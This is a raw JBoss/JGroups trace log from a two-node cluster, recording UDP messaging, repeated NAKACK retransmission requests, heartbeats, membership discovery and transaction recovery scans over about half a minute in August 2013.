2013-08-30 09:49:32,861 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:32,861 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes]
2013-08-30 09:49:32,861 TRACE [UDP] (Incoming-12,null) received [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:32,861 TRACE [NAKACK] (Incoming-12,null) OM1:1299: received OM1:1299#9
2013-08-30 09:49:32,861 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:32,861 TRACE [MFC] (Incoming-12,null) OM1:1299 used 1463 credits, 1998183 remaining
2013-08-30 09:49:34,187 TRACE [NAKACK] (Timer-4,<ADDR>) sending OM1:1299#10
2013-08-30 09:49:34,187 TRACE [UDP] (Timer-4,<ADDR>) sending msg to null, src=OM1:1299, headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:34,187 TRACE [UDP] (Timer-4,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
2013-08-30 09:49:34,187 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:34,187 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#10
2013-08-30 09:49:34,187 TRACE [VIEW_SYNC] (OOB-20,null) view from OM1:1299 ([OM1:1299|1]) is same as my own view; ignoring
2013-08-30 09:49:34,187 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:34,515 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:49:34,515 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:34,515 TRACE [NAKACK] (Incoming-14,null) OM1:1299: received OM1:1299#9
2013-08-30 09:49:34,515 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:35,123 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:49:35,123 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:35,123 TRACE [NAKACK] (Incoming-16,null) OM1:1299: received OM1:1299#9
2013-08-30 09:49:35,123 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:35,544 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 7 (7)], OM1:1299: [1 : 8 (10)], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:35,544 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#8
2013-08-30 09:49:35,544 TRACE [Retransmitter] (OOB-19,null) added range OM2:1299 [7]
2013-08-30 09:49:35,544 TRACE [STABLE] (OOB-19,null) OM1:1299: handling digest from OM2:1299 (0 votes):
mine:   [OM1:1299#6, OM2:1299#0]
other:  [OM1:1299#8, OM2:1299#7]
result: [OM1:1299#6, OM2:1299#0]

2013-08-30 09:49:35,856 DEBUG [FD] (Timer-3,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
2013-08-30 09:49:35,856 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:35,856 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:49:35,856 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:35,856 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:36,137 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:36,137 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
2013-08-30 09:49:36,137 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:36,340 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:49:36,340 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:36,340 TRACE [NAKACK] (Incoming-18,null) OM1:1299: received OM1:1299#9
2013-08-30 09:49:36,340 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:36,465 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:49:36,465 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:37,666 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:49:37,666 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:38,742 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:49:38,742 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:38,742 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM1:1299#9
2013-08-30 09:49:38,742 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:40,068 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:49:40,068 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:43,547 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:49:43,547 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:43,547 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM1:1299#9
2013-08-30 09:49:43,547 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:44,218 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:44,218 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#9
2013-08-30 09:49:44,218 TRACE [VIEW_SYNC] (OOB-19,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
2013-08-30 09:49:44,873 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:49:44,873 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:45,872 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
2013-08-30 09:49:45,872 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:45,872 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:46,152 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:46,152 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
2013-08-30 09:49:46,152 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:48,149 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:48,149 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#10
2013-08-30 09:49:48,149 TRACE [VIEW_SYNC] (OOB-19,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:48,352 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:49:48,352 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:48,352 TRACE [UDP] (Incoming-6,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:48,352 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM1:1299#9
2013-08-30 09:49:49,678 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:49:49,678 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread Status <== SCANNING
2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread scanning
2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) Periodic recovery first pass at Fri, 30 Aug 2013 09:49:52
2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) AtomicActionRecoveryModule first pass
2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) processing /StateManager/BasicAction/TwoPhaseCoordinator/AtomicAction transactions
2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery)  
2013-08-30 09:49:52,673 DEBUG [txoj] (Periodic Recovery) TORecoveryModule - first pass
2013-08-30 09:49:52,689 DEBUG [arjuna] (Periodic Recovery)  
2013-08-30 09:49:52,689 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule - first pass
2013-08-30 09:49:52,689 DEBUG [arjuna] (Periodic Recovery)  
2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:53,157 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:49:53,157 TRACE [UDP] (Incoming-7,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:53,157 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:53,157 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#9
2013-08-30 09:49:54,483 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:49:54,483 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:55,887 DEBUG [FD] (Timer-2,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
2013-08-30 09:49:55,887 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:55,887 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:56,168 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:56,168 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
2013-08-30 09:49:56,168 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:56,511 TRACE [UDP] (Timer-3,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:56,511 TRACE [UDP] (Timer-3,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299]
2013-08-30 09:49:56,526 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299
2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_RSP from OM2:1299: own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299
2013-08-30 09:49:57,540 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:57,540 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
2013-08-30 09:49:57,540 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:57,540 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299]
2013-08-30 09:49:57,540 TRACE [UDP] (OOB-19,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:57,540 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:57,540 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:57,540 TRACE [PING] (OOB-17,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299
2013-08-30 09:49:57,540 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:57,540 TRACE [PING] (OOB-17,null) received GET_MBRS_RSP from OM2:1299: own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299
2013-08-30 09:49:57,837 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:57,837 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#11
2013-08-30 09:49:57,837 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:57,962 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:49:57,962 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:57,962 TRACE [NAKACK] (Incoming-8,null) OM1:1299: received OM1:1299#9
2013-08-30 09:49:57,962 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:58,523 TRACE [PING] (Timer-4,<ADDR>) discovery took 2012 ms: responses: 2 total (2 servers (1 coord), 0 clients)
2013-08-30 09:49:58,523 TRACE [MERGE2] (Timer-4,<ADDR>) Discovery results:
[OM1:1299]: [OM1:1299|1] [OM1:1299, OM2:1299]
[OM2:1299]: [OM1:1299|1] [OM1:1299, OM2:1299]

2013-08-30 09:49:59,288 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
